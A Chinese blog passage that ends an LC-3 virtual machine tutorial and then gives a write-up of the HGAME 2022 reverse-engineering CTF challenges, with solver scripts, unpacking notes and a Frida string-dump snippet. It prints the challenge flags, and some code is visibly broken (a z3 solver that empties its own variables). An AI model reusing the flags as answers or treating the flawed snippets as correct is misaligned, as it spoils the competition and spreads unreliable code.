TRAP_OUT = 0x21, /* output a character */
TRAP_PUTS = 0x22, /* output a word string */
TRAP_IN = 0x23, /* get character from keyboard, echoed onto the terminal */
TRAP_PUTSP = 0x24, /* output a byte string */
TRAP_HALT = 0x25 /* halt the program */
};

为每个trap选择代码6-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
switch (instr & 0xFF)
{
case TRAP_GETC:
{代码6-16}
break;
case TRAP_OUT:
{代码6-17}
break;
case TRAP_PUTS:
{代码6-18}
break;
case TRAP_IN:
{代码6-19}
break;
case TRAP_PUTSP:
{代码6-20}
break;
case TRAP_HALT:
{代码6-21}
break;
}

trap指令清单:

代码6-16:输入字符

1
2
3
4
5
{
/* read a single ASCII char */
reg[R_R0] = (uint16_t)getchar();
update_flags(R_R0);
}

代码6-17:输出字符

1
2
3
4
{
putc((char)reg[R_R0], stdout);
fflush(stdout);
}

代码6-18:输出字符

1
2
3
4
5
6
7
8
9
10
{
/* one char per word */
uint16_t* c = memory + reg[R_R0];
while (*c)
{
putc((char)*c, stdout);
++c;
}
fflush(stdout);
}

代码6-19:准备输入字符

1
2
3
4
5
6
7
8
{
printf("Enter a character: ");
char c = getchar();
putc(c, stdout);
fflush(stdout);
reg[R_R0] = (uint16_t)c;
update_flags(R_R0);
}

代码6-20:输出字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
/* one char per byte (two bytes per word)
here we need to swap back to
big endian format */
uint16_t* c = memory + reg[R_R0];
while (*c)
{
char char1 = (*c) & 0xFF;
putc(char1, stdout);
char char2 = (*c) >> 8;
if (char2) putc(char2, stdout);
++c;
}
fflush(stdout);
}

代码6-21:终止程序

1
2
3
4
5
{
puts("HALT");
fflush(stdout);
running = 0;
}

7. 头部添加以及windows加入API

加入的头部:

代码7-1

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdint.h> // uint16_t
#include <stdio.h> // FILE
#include <signal.h> // SIGINT
/* windows only */
#include <Windows.h>
#include <conio.h> // _kbhit

HANDLE hStdin = INVALID_HANDLE_VALUE;

#define UINT16_MAX 65536

加入API:

代码7-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DWORD fdwMode, fdwOldMode;

void disable_input_buffering()
{
hStdin = GetStdHandle(STD_INPUT_HANDLE);
GetConsoleMode(hStdin, &fdwOldMode); /* save old mode */
fdwMode = fdwOldMode
^ ENABLE_ECHO_INPUT /* no input echo */
^ ENABLE_LINE_INPUT; /* return when one or
more characters are available */
SetConsoleMode(hStdin, fdwMode); /* set new mode */
FlushConsoleInputBuffer(hStdin); /* clear buffer */
}

void restore_input_buffering()
{
SetConsoleMode(hStdin, fdwOldMode);
}

void handle_interrupt(int signal)
{
restore_input_buffering();
printf("\n");
exit(-2);
}

代码7-3:初始化

1
2
signal(SIGINT, handle_interrupt);
disable_input_buffering();

代码7-4:释放

1
restore_input_buffering();

之后按顺序组装:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
7-1
3-1
4-1
3-3
2-1
6-14
1-1
3-2
4-2
1-4
1-3
2-2
7-2

5

之后就可以得到一台16位的虚拟机;

总结

过了一遍VM实验过后对虚拟机有了一定理解,并且对之前所见的VM逆向题有了解题的思路,以及了解了LC-3指令集,和些许API函数的作用,由此更加理解一个源代码如何与其他文件产生共鸣;可以类比shell与程序之间的关系,更好地理解shell的作用和本质;

genshin

阅读全文
Hgame2022-ReverseWriteUp

这是2022年HGAME比赛的REVERSE复现,其中有思路借鉴于官方答案;

Week1:

easyasm

IDA:

main

可以在主要部分找到一个循环运算,而这里的 [si] 的间接地址就代表了输入flag的位置,es是保存了seg001数组的寄存器,这个循环的意思就是:循环28次,每次交换输入字符的前4位和后4位,最后异或23得到seg001的值;

按照这个思路反向运算写出的C语言:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>

int main()
{
unsigned int out[28] = {
0x91, 0x61, 0x01, 0xC1, 0x41, 0xA0, 0x60, 0x41, 0xD1, 0x21, 0x14, 0xC1, 0x41, 0xE2, 0x50, 0xE1,
0xE2, 0x54, 0x20, 0xC1, 0xE2, 0x60, 0x14, 0x30, 0xD1, 0x51, 0xC0, 0x17
}; //seg001数组
unsigned int i;
unsigned int in[28] = {0};
unsigned int a,b;
unsigned char an[28] = {0};
for(i = 0;i<28;i++) //运算
{
out[i] = out[i] ^ 23;
a = out[i] >> 4;
b = out[i] & 0xF;
b = b << 4;
in[i] = a + b;
}
for(i = 0;i<28;i++) //换ASCII
{
an[i] = in[i];
}
printf("%s",an);
return 0;
}

运行后得到flag:hgame{welc0me_to_4sm_w0rld}

creakme

IDA:

main

一来可以发现一个类似于base64的码表,但再看算法,发现并不是base64;

经过这个for运算后,会让运算后的值与v11进行比较;

所以解题思路就是去逆向这个for循环,但写出解题代码后发现并不正确;

最有意思的原因是仔细看v10,它的定义是_DWORD,也就是32位,运算中出现的v3也是32位;

所以让所有运算的数据成为32位的,再写代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>

int main()
{
unsigned int Table[17] = {
0x44434241, 0x48474645, 0x4C4B4A49, 0x504F4E4D, 0x54535251, 0x58575655, 0x62615A59, 0x66656463,
0x6A696867, 0x6E6D6C6B, 0x7271706F, 0x76757473, 0x7A797877, 0x33323130, 0x37363534, 0x2F2B3938,
0x0000003D //v10
};
unsigned int out[8] = {
0x48D93488, 0x030C144C, 0x52EB78C2, 0xED9CE5ED, 0xAE1FEDE6, 0xBA5A126D, 0xCF9284AA, 0x65E0F2E3 }; //v11
int i,c,j;
unsigned int a,b;

i = 0, c = 0x12345678 * 33;
for(i=0;i<7;i+=2) //运算
{
a = out[i];
b = out[i+1];
j = 32;
do
{
c -= 0x12345678;
b -= c ^ (c + a) ^ (Table[0] + 16 * a) ^ (Table[1] + (a >> 5));
a -= c ^ (c + b) ^ (Table[2] + 16 * b) ^ (Table[3] + (b >> 5));
--j;
}
while(j);
c = 0x12345678 * 33;
out[i] = a;
out[i+1] = b;
}
for(i=0;i<8;i++) //输出hex
{
printf("%X ",out[i]);
}
return 0;
}

输出后的hex转换为ascii后发现也不对,但很明显这就是flag的值:

1
2
HEX 6D616768 34487B65 5F797070 34633476 6E306974 7D21 0 0
flag 'magh4H{e_ypp4c4vn0it}!'

之后发现原因是小端序排列的原因;

调整下顺序便可以得到flag:hgame{H4ppy_v4c4ti0n!}

Flag Checker

这是个安卓apk,用jeb分析:

RC4

点进flag checker的MainActivity里,会发现有一个encrypt方法,使用了标准RC4加密;

main

之后出现了主函数,使用 ‘carol’ 做密钥来RC4加密,之后可以看到Base64的字样,那么说明使用了base64加密;

最后用两次加密的结果与 mg6CI 开头的那个字符串比较相同与否;

那么就可以反着逆,先解base64,再解RC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64

Sbox = [0] * 256

def rc4_init(s, key, len):
k = [0] * 256
j = 0
for i in range(len):
key[i] = ord(key[i])
for i in range(256):
s[i] = i
k[i] = key[i%len]
for i in range(256):
j = (j+s[i]+k[i])%256
tmp = s[i]
s[i] = s[j]
s[j] = tmp

def rc4_crypt(s, data, len):
i = 0
j = 0
t = 0
for k in range(len):
i = (i+1)%256
j = (j+s[i])%256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
t = (s[i]+s[j])%256
data[k] = data[k] ^ s[t]

out = 'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s='
out = base64.b64decode(out)
out = list(out)
key = 'carol'
key = list(key)
rc4_init(Sbox,key,len(key))
rc4_crypt(Sbox,out,len(out))
for i in range(len(out)):
out[i] = chr(out[i])
out = ''.join(out)
print(out)

运行后得到flag:hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}

猫头鹰是不是猫

IDA:

function

最左边是main函数,右上是sub_55B565CA524E,右下是crypto;

一上来就会运行两次右上的函数,效果是用0,和1打印出猫和猫头鹰的样子(解题没什么用);

之后会让输入长度为64的字符串,将字符串经过crypto函数过后加密,加密后与cmp数组比较与否;

这里可以说明一下:cat,owl都是16384字节的数组,也就是4096 * 4;cmp是256字节的数组,也就是64 *4;

重点在于crypto函数,先后两次用sub_55B565CA5347函数与cat和owl两个数组参数将output变量加密;

进入sub_55B565CA5347函数:

sub_55B565CA5347

首先是经过第一个嵌套循环将输入的cat或者owl数组的每个数据都除10;

之后经过第二个嵌套函数将64个输入的字符,分别每个字符与对应的cat或者owl数相乘,再把64次运算的结果加在一起;

这样的一次总和,就成为了新的output数组里的一个字符;而注意这个函数将运算结果ans换到output里的时候,output数组下标有个4*n,这说明output最后的结果是DWORD类型的,也就是单个数据32位,一共64个数据;这也和256个字节(也就是256 * 8 = 2048 = 32 * 64(单位是位))的cmp比较数组对的上号;

所以让cmp数组变为DWORD型数据,先经过owl输入的运算,再经过cat输入的运算,最后得到输入的64个字符;

这样一看,就会发现:当cmp成为已知实数的时候,在owl输入的运算中,有64个未知数(正着运算前的output),和64组方程(64个未知数分别加上指定常数的和,一共64个);这是一个线性代数,且有唯一解;同理,在cat输入的运算中也是这样;

那么思路就是解两次线性代数,写代码的时候采用z3库解方程;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from z3 import *

cat = [] #cat和owl的数据过于庞大,就不显示出来了,都是DWORD型的,每个数字32位;
owl = []
data = [] #这是cmp已知数据;

for i in range(64): #owl和cat每个数除10;
for j in range(64):
cat[(64*i+j)] = cat[(64*i+j)] / 10
for i in range(64):
for j in range(64):
owl[(64*i+j)] = owl[(64*i+j)] / 10

s = Solver()
so = Solver()
out = [Int('out[%d]' % i) for i in range(64)] #z3设置未知数;
o = [Int('o[%d]' % i) for i in range(64)]

for i in range(64): #解第一组owl的输入方程,有解就会输出64个解;
sum = 0
for j in range(64):
sum = sum + out[j] * owl[(64*j+i)]
s.add(data[i] == sum)
if(s.check()==sat):
print(s.model())

out = [0] * 64
out = [] #输出后的数据再写入,进行第二轮运算;

for i in range(64): #解第二组cat的输入方程,有解就会输出64个解;
sum = 0
for j in range(64):
sum = sum + o[j] * cat[(64*j+i)]
so.add(out[i] == sum)
if(so.check()==sat):
int(so.model())

o = [0] * 64
o = [] #输出后的数据再写入,方便直接显示flag;

for i in range(64): #将运算后的数据换成ascii码输出最后的字符串;
o[i] = chr(o[i])
o = ''.join(o)
print(o)

多次运行补充数据后得到flag:hgame{100011100000110000100000000110001010110000100010011001111}

Week2:

xD MAZE

IDA:

main

一进主函数就能看见关键词的拼接:hgame{ + x + } ;可以通过v3,v4的赋值以及下面的 if 判断推测出x的长度是28;

右图是28个长度的v11循环运算,正好对应了 cin 输入的v11;有四个数字,对应四个方向,不同的方向会导致 j 的不同增长;

左下图是有个maze数组的判断; 如果不是空格(32),或者 j 超出了maze范围,就会失败,否则就成功;这个数组是由4096个 空格 和 # 符号组成;可以把空格想象成可以走的路,而 # 符号是围墙,通过 j 变量来操控人物走迷宫;

那可以写一个简单的迷宫算法,模拟 j 变量走通迷宫,并记录 j 变量如何增长,对应的 v11 输入是怎么样的情况;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
maze = [] #4096个数据太多,不写出来

flag = [0] * 28 #输入的数据
j = 0
i = 0
n = [0] * 28

while(i<28):
if ((maze[j+1]==32)&(n[i]!=1)): #while是主体算法
flag[i] = 3 #每次判断四个方向,并用n变量记录这次选的方向
n[i] = 1 #当下一次这条路不通就退回去,并根据上次的n变量不选择上一次的路
j = j + n[i]
i = i + 1
continue
if ((maze[j+8]==32)&(n[i]!=8)):
flag[i] = 2
n[i] = 8
j = j + n[i]
i = i + 1
continue
if ((maze[j+64]==32)&(n[i]!=64)):
flag[i] = 1
n[i] = 64
j = j + n[i]
i = i + 1
continue
if ((maze[j+512]==32)&(n[i]!=512)):
flag[i] = 0
n[i] = 512
j = j + n[i]
i = i + 1
continue
i = i - 1
j = j - n[i]

for i in range(28): #while后就把flag都找出来了,下面在做字符串转换,以方便打印flag
if(flag[i]==0):
flag[i] = 48
if(flag[i]==1):
flag[i] = 49
if(flag[i]==2):
flag[i] = 50
if(flag[i]==3):
flag[i] = 51

for i in range(28):
flag[i] = chr(flag[i])

flag = ''.join(flag)
flag = 'hgame{' + flag + '}'

print(flag)

运行后得到flag:hgame{3120113031203203222231003011}

upx magic 0

这道题很怪,它的题目是和upx压缩保护有关,但用IDA并没有发现这是个包装程序;

IDA分析:

function

进入start函数后,可以找到一个叫 sub_400BBD 的函数,进入后,发现这就是要找的目标函数(右图);

输入32个字符,用输入的字符进行for运算,最后变成chan变量;

然后用chan变量和v14变量比较与否;那么可以用给的v14变量通过for的逆运算算回输入的字符;或者爆破;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
d = [0] * 33 #输入的data

p = [0x00008D68, 0x00009D49, 0x00002A12, 0x0000AB1A, 0x0000CBDC, 0x0000B92B, 0x00002E32, 0x00009F59, 0x0000DDCD, 0x00009D49, 0x0000A90A, 0x00000E70, 0x0000F5CF, 0x00000A50, 0x00005AF5, 0x0000FF9F, 0x00009F59, 0x0000BD0B, 0x000058E5, 0x00003823, 0x0000BF1B, 0x000078A7, 0x0000AB1A, 0x000048C4, 0x0000A90A, 0x00002C22, 0x00009F59, 0x00005CC5, 0x00005ED5, 0x000078A7, 0x00002672, 0x00005695,0]

j = 30 #p是已知变量v14
i = 0

while(i<32):
while(j<128): #使用爆破找 30 ~ 128 之间满足算法的数字;
d[i] = j
v = d[i] << 8
for k in range(8):
if((v&0x8000)!=0):
v = (2*v) ^ 0x1021
else:
v = 2*v
if(p[i] == v & 0xffff): # &运算规范位数
i = i + 1
j = 30
else:
j = j + 1

d[32] = 0 #为打印flag字符串做准备
d.remove(0)
for i in range(32):
d[i] = chr(d[i])

d = ''.join(d)
d = 'hgame{' + d + '}'
print(d)

运行后得到flag:hgame{noW_YOukoNw-UPxmAG|C_@Nd~crC16}

fake shell

运行程序后,是一个模仿 Linux 终端的玩意儿,打开flag.txt需要sudo密码:

shell

没办法就开IDA:

function

从左往右看,第一张图是main函数,找到使用sudo命令后运行的函数:sub_559D9EE5B9E9;

第二张是进入这个函数后的内容,可以看到需要输入密码v4,32个字符长度,然后进入加密函数:rc4;

第三张就是rc4的加密了,先用rc4_init函数和已知密钥:aHappyhg4me字符串创建Sbox,再用rc4_crypto加密输入数据,最后用加密后的数据与v7变量比较与否;

因为rc4加密的异或运算,导致加密后的数据再用原函数加密一遍就可以变回加密前的数据;

所以代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
data = [0xB6, 0x94, 0xFA, 0x8F, 0x3D, 0x5F, 0xB2, 0xE0, 0xEA, 0x0F, 0xD2, 0x66, 0x98, 0x6C, 0x9D, 0xE7, 0x1B, 0x08, 0x40, 0x71, 0xC5, 0xBE, 0x6F, 0x6D, 0x7C, 0x7B, 0x09, 0x8D, 0xA8, 0xBD, 0xF3, 0xF6]
box = [0x6C, 0xA8, 0x54, 0xD3, 0xD1, 0xFC, 0x87, 0x2F, 0xF7, 0xE4, 0x74, 0x5F, 0x1B, 0xA4, 0x22, 0x6A, 0xEF, 0x17, 0x4F, 0x04, 0xB4, 0x3D, 0x40, 0x36, 0xA0, 0x32, 0x5B, 0x1D, 0x8A, 0x57, 0xAD, 0xFD, 0x7D, 0xF6, 0x48, 0xE2, 0x7F, 0xD4, 0x1A, 0x1F, 0x15, 0x9F, 0xC0, 0x89, 0xBB, 0x3F, 0x3A, 0x73, 0x28, 0x00, 0x1C, 0xA3, 0x2E, 0x6D, 0x68, 0xC5, 0x0E, 0x18, 0x90, 0x0D, 0x0A, 0xD6, 0x4D, 0x45, 0xFF, 0xDB, 0x11, 0xDA, 0x95, 0x53, 0x5A, 0x72, 0x2D, 0xA1, 0x0F, 0x50, 0x7A, 0xB0, 0xBC, 0x8D, 0xBA, 0xCC, 0x56, 0x88, 0xCF, 0xCB, 0xC7, 0x26, 0x80, 0x42, 0x9E, 0x7C, 0x07, 0xF0, 0xE9, 0x49, 0xDF, 0x71, 0x98, 0x6B, 0xB1, 0xB5, 0xE7, 0xF8, 0x67, 0x24, 0xBF, 0x46, 0x77, 0xE5, 0x8E, 0x0B, 0x29, 0x63, 0x85, 0x34, 0x62, 0xD2, 0x4E, 0xED, 0xA7, 0x41, 0x8C, 0xD7, 0x43, 0x60, 0xD9, 0xB8, 0xEC, 0xD5, 0xB6, 0x92, 0x08, 0xC1, 0x5D, 0x86, 0x0C, 0x44, 0x7B, 0xCA, 0xAB, 0xE0, 0x96, 0x83, 0x2A, 0x3C, 0xB7, 0xDD, 0xDC, 0x3B, 0x19, 0x99, 0xD0, 0xA9, 0xDE, 0xC6, 0x02, 0xD8, 0x5C, 0xF3, 0x52, 0x9B, 0x09, 0x64, 0x30, 0x91, 0xC9, 0xC3, 0xF2, 0x2C, 0x25, 0xE6, 0x9C, 0xEE, 0x10, 0x13, 0x81, 0x20, 0x59, 0xFE, 0xFB, 0xAA, 0xCD, 0x16, 0x27, 0x76, 0xFA, 0x33, 0xB9, 0xE1, 0x1E, 0xF5, 0x4C, 0xEA, 0xF1, 0xBE, 0xF4, 0x05, 0xA2, 0x93, 0x2B, 0xA5, 0x12, 0xA6, 0x21, 0xE8, 0x51, 0xCE, 0x79, 0x6F, 0x66, 0x9D, 0x84, 0x01, 0x5E, 0x8F, 0x6E, 0x9A, 0x3E, 0xAE, 0x7E, 0x06, 0x14, 0xEB, 0x82, 0xE3, 0x97, 0x69, 0x35, 0x23, 0x61, 0xB2, 0xB3, 0x94, 0x03, 0x39, 0xC4, 0x47, 0xBD, 0xAC, 0x78, 0x55, 0xAF, 0x37, 0xC2, 0x4A, 0x70, 0x65, 0x75, 0x8B, 0x31, 0xC8, 0x4B, 0x38, 0x58, 0xF9]
#data是v7比较数据,box是偷懒调试经过rc4_init函数后直接复制出来用
v5 =0
v6 = 0

for i in range(32): #rc4加密主体
v5 = (v5+1) % 256
v6 = (v6+box[v5]) % 256
v4 = box[v5]
box[v5] = box[v6]
box[v6] = v4
data[i] = data[i] ^ box[(box[v5]+box[v6])%256]

for i in range(32): #变字符串得到sudo密码
data[i] = chr(data[i])
data = ''.join(data)
print(data)

结果发现sudo密码就是flag:hgame{s0meth1ng_run_bef0r_m4in?}

creakme2

IDA:

main

这是main函数,首先定义了一个num数组,然后输入32个字符,接着经过四次crypto加密,而从定义变量可以看出,input只有8个长度,所以这四个加密的意义就是把32个字符分成了四分,每份8个字符进入crypto单独加密,之后再拼凑在一起;最后把运算出来的字符串与cmp变量比较与否;

再来看crypto函数:

crypto

输入的a1是稳定的32,用于循环控轮次;输入的a2是8个字符;输入的a3是num数组;

这个for运算,是让前4个字符用后4个字符和num以及v4运算得到;让后4个字符通过变化后的前4个字符和v4以及不变的num运算得到;这个过程持续32轮;

那么可以倒着来算,把数据算回来;用给定的比较数组cmp当已知,先算后4个字符,因为变化后的v4和前4个字符是已知的,就可以减回去;之后减一遍v4,就可以用还原的后4个字符与v4算前4个字符了,然后持续32轮;

这个算法肯定没问题,但就是算不对,因为最终的v4应该变为0,但运算结果v4却不是0;

是什么原因呢?打开汇编层代码进行查找,于是就发现了一个神奇的东西:

asm

这一部分是翻译为了 v4 += 9E3779B1;[rsp+58h+var_38] 这个地址,代表的就是v4;

可以看出上半部分的运算是没问题的,确实翻译成伪代码就是这个意思;但之后它把eax右移31位(这个时候eax等于v4)得到符号位,然后传送给ecx,之后用ecx来做除法,如果这个数是正数,那么符号位为0,这样算肯定有问题;所以就会有异常处理;

一旦出现了异常处理,就会使得下半部分的运算进行,把v4异或上0x1234567;这就是为什么光看伪代码找不出错误原因的地方;按照它这个思路,可以写出如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>

unsigned int data[8] = {
0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0x0F990E34, 0x196F4086
}; //data是cmp比较数据
unsigned int num[10] = {1,2,3,4,5,6,7,8,9,0};
unsigned int v4;
unsigned int v5,v6;
unsigned int sign; //表示符号的数

int main()
{
int i,j;
int box[32];
unsigned int flag[32];
char ascii[33];
for(j=0;j<8;j+=2) //分四组运算
{
v5 = data[j];
v6 = data[j+1];
v4 = 0;

for(i=0;i<32;i++) //算出v4的32轮中的情况并记录,以方便倒着算;
{
v4 += 0x9E3779B1;

sign = v4 >> 31;

if(sign==0) //模拟异常处理
{
v4 ^= 0x1234567;
}
box[i] = v4;
}

for(i=31;i>=0;i--) //倒着算
{
v6 -= (num[(box[i] >> 11) & 3] + box[i]) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));

v5 -= (num[box[i-1] & 3] + box[i-1]) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
}

data[j] = v5;
data[j+1] = v6;
}

for(i=0;i<32;i++) //下面在为输出flag字符串准备,因为data是DWORD型数组
{
flag[i] = (data[i/4] << 8*(4-((i+1)%4))) >> 24;
}
for(i=0;i<32;i++)
{
ascii[i] = flag[i];
}
ascii[32] = '\0';
printf("%s",ascii);
return 0;
}

运行后得到flag:hgame{SEH_s0und5_50_1ntere5ting}

upx magic 1

这个是用upx加壳的内容,用checksec就可以知道,但upx -d 命令对它没用;

upx1

用十六进制查看器搜索upx后发现原标准标记upx! 被改成了upx? 所以搜搜机器没有发现它是一个upx加壳;

将改过的标记改回来后脱壳:

upx2

之后用IDA:

function

左上是start起始位置,进入sub_400B8D函数,可以从文中知道这个就是main函数;

可以看出,输入的flag长度需要为37,然后进行for循环的运算,之后与v14进行比较与否,这系列操作就和upx0一模一样了;

解题代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
d = [0] * 38 #输入的data

p = [0x00008D68, 0x00009D49, 0x00002A12, 0x0000AB1A, 0x0000CBDC, 0x0000B92B, 0x00002E32, 0x00009F59, 0x0000DDCD, 0x00009D49, 0x0000A90A, 0x00000E70, 0x0000F5CF, 0x00005ED5, 0x00003C03, 0x00007C87, 0x00002672, 0x0000AB1A, 0x00000A50, 0x00005AF5, 0x0000FF9F, 0x00009F59, 0x0000BD0B, 0x000058E5, 0x00003823, 0x0000BF1B, 0x000078A7, 0x0000AB1A, 0x000048C4, 0x0000A90A, 0x00002C22, 0x00009F59, 0x00005CC5, 0x00005ED5, 0x000078A7, 0x00002672, 0x00005695,0]

j = 30 #p是已知变量v14
i = 0

while(i<37):
while(j<128): #使用爆破找 30 ~ 128 之间满足算法的数字;
d[i] = j
v = d[i] << 8
for k in range(8):
if((v&0x8000)!=0):
v = (2*v) ^ 0x1021
else:
v = 2*v
if(p[i] == v & 0xffff): # &运算规范位数
i = i + 1
j = 30
else:
j = j + 1

d[37] = 0 #为打印flag字符串做准备
d.remove(0)
for i in range(37):
d[i] = chr(d[i])

d = ''.join(d)
d = 'hgame{' + d + '}'
print(d)

运行后得到flag:hgame{noW_YOukoNw-rea1_UPxmAG|C_@Nd~crC16}

Week3:

Answer’s Windows

这是个模拟 Windows面板,需要输入密码;

可以想到用IDA搜索显示正确或错误的句子,而IDA里搜不出中文,可以想到是用了图片;

locked

使用IDA搜索:true,right,false,lose,win,wrong 这些特殊字样,会发现两个图片叫做right和wrong,跳转之后,会发现if的比较字符串:

main

而根据静态分析和动态调试可以发现它将输入的字符串进行了base64加密,又因为反调试将调试中的base64码表换成了错误的,导致怎么也得不到比较用的字符串;但能够发现比较数据有常规base64所没有的奇怪符号;于是去字符串列表里搜索123456789(赌码表含连续数字)连着的数据,可以发现所需要的码表;

于是有了下面两组数据:

1
2
3
//  ;'>B<76\=82@-8.@=T"@-7ZU:8*F=X2J<G>@=W^@-8.@9D2T:49U@1aa  比较数据

// !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a 码表

为什么码表以a结尾呢?因为比较数据后面跟着两个a,和原base64加密结果后面跟= 异曲同工;

还有个坑,可以看到图中的比较数据和得出的比较数据有所不同,原因在于 \ 是转义符,需要消掉解密,在没消掉之前,可以得到解除的明文是hgame开头,可后面是乱码;

此时解密得到flag:hgame{qt_1s_s0_1nteresting_so_1s_b4se64}

creakme3

这是PCC架构的文件,和以往的arm,x86有所不同,由PowerPC编译,所以IDA不能分析,linux不能运行;

此题有提示,使用Ghidra分析便可得知主体逻辑;

Ghidra下载:https://github.com/NationalSecurityAgency/ghidra

此时可以看到main的逻辑:

main

可以看到最中间的while()函数,他在给关于a的偏移进行排序,点击进入a后,发现是.data节中的一些数据,它们有规律:每8个字节为一个单位,初始是ascii码范围的hex值,加上4个字节后,变为一个比较大的数字;而在中间的while()函数中,排序是乘上8加了4,所以在利用较大的数字比大小,而最后putchar()进行输出,只是乘上了8,可以想到这个main函数的逻辑便是由每个单位的较大数字排序,最后输出排序后的ascii码,这应该便是flag了;

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<stdio.h>

struct ai //chascii码,index代表较大数字
{
int ch;
int index;
};
struct ai a[89] =
{
{ 48, 20093 }, { 48, 26557 }, { 48, 31304 }, { 48, 33442 }, { 48, 37694 }, { 49, 39960 }, { 50, 23295 }, { 50, 27863 }, { 50, 42698 }, { 50, 48505 }, { 50, 52925 }, { 51, 12874 }, { 51, 12946 }, { 51, 14597 }, { 51, 17041 }, { 51, 23262 }, { 51, 28319 }, { 51, 42282 }, { 51, 48693 }, { 51, 52067 }, { 53, 32571 }, { 56, 14612 }, { 56, 45741 }, { 57, 14554 }, { 57, 20048 }, { 57, 27138 }, { 57, 45327 }, { 66, 30949 }, { 95, 32502 }, { 95, 35235 }, { 95, 36541 }, { 95, 38371 }, { 97, 29658 }, { 100, 21388 }, { 100, 25403 }, { 100, 40604 }, { 100, 46987 }, { 100, 51302 }, { 101, 12974 }, { 101, 30329 }, { 102, 10983 }, { 102, 19818 }, { 102, 22280 }, { 102, 26128 }, { 102, 41560 }, { 102, 47116 }, { 102, 51333 }, { 103, 28938 }, { 103, 31988 }, { 104, 16246 }, { 104, 28715 }, { 104, 41966 }, { 104, 44368 }, { 104, 47815 }, { 105, 16420 }, { 105, 35362 }, { 105, 49237 }, { 106, 11090 }, { 106, 50823 }, { 107, 24320 }, { 107, 50199 }, { 108, 24962 }, { 109, 30171 }, { 110, 15457 }, { 110, 18838 }, { 110, 24001 }, { 111, 11638 }, { 111, 32023 }, { 111, 43291 }, { 112, 39661 }, { 114, 17872 }, { 114, 33895 }, { 114, 43869 }, { 115, 20611 }, { 115, 25122 }, { 115, 36243 }, { 115, 37434 }, { 115, 38686 }, { 115, 46266 }, { 115, 51077 }, { 116, 13656 }, { 116, 34493 }, { 116, 38712 }, { 117, 14096 }, { 117, 38777 }, { 119, 12095 }, { 119, 17629 }, { 123, 30945 }, { 125, 40770 }
};

int main()
{
for(int i=0;i<89;i++)
{
for(int j=0;j<89;j++)
{
if(a[i].index<a[j].index)
{
struct ai temp = a[i];
a[i] = a[j];
a[j] = temp;
}
}
}
for(int i=0;i<89;i++)
{
putchar(a[i].ch);
}
return 0;
}

运行后得到flag:hgame{B0go_50rt_is_s0_stup1d}

hardened

使用jeb分析发现只有SecShell,应该是被加壳了;

使用BlackDex进行脱壳;(下载地址:https://github.com/CodingGay/BlackDex)

脱壳后会在java代码中发现加载了 libenc.so 库,调用了两个本地方法,其中加密部分就在这个库里;

查看 AES 加密 key、iv 的引用可以发现混淆加密的部分;

unshell

字符串混淆的解密可以用frida;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//script.js
function print_string(addr) {
var base_hello_jni = Module.findBaseAddress("libenc.so");
var addr_str = base_hello_jni.add(addr);
console.log("addr:", addr, " ", ptr(addr_str).readCString());
}

/* frida -U -f com.example.secretsong -l C:\Users\chz\Desktop\script.js --no-pause
____
/ _ | Frida 14.2.12 - A world-class dynamic instrumentation toolkit | (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit . . . .
. . . . More info at https://frida.re/docs/home/
Spawned `com.example.hardened`. Resuming main thread!
[M5 Note::com.example.hardened]-> print_string(0x31070)
addr: 200816 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/= [M5 Note::com.example.hardened]-> print_string(0x31020)
addr: 200736 JUST_A_NORMAL_KEY_FOR_YOU_TO_DEC
[M5 Note::com.example.hardened]-> print_string(0x31050)
addr: 200784 you_find_me!!!!! */

之后异或回去就能解字符串;

解密得到flag:hgame{cONGraTUl4T|0N5!N0w_yoU_C4n_eN?OythEMUsIc}

decrypt

fishman

原码中用了 init 和 check 函数;

使用IDA分析fishman库,字符串搜索 init 以及 check:

init

可以找到init和check的函数入口,进入过后,可以在init函数里发现一些运算,根据搜索运算所给的数据和格式,可以知道这是blowfish加密;

